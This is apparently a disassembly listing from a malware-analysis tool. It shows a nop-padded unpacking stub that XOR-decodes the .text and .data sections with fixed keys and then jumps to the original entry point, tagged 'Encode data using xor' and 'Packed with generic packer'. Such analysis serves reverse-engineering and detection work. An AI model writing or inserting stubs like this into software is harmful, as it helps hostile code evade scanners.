cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x209001a2
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0xadb0004
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219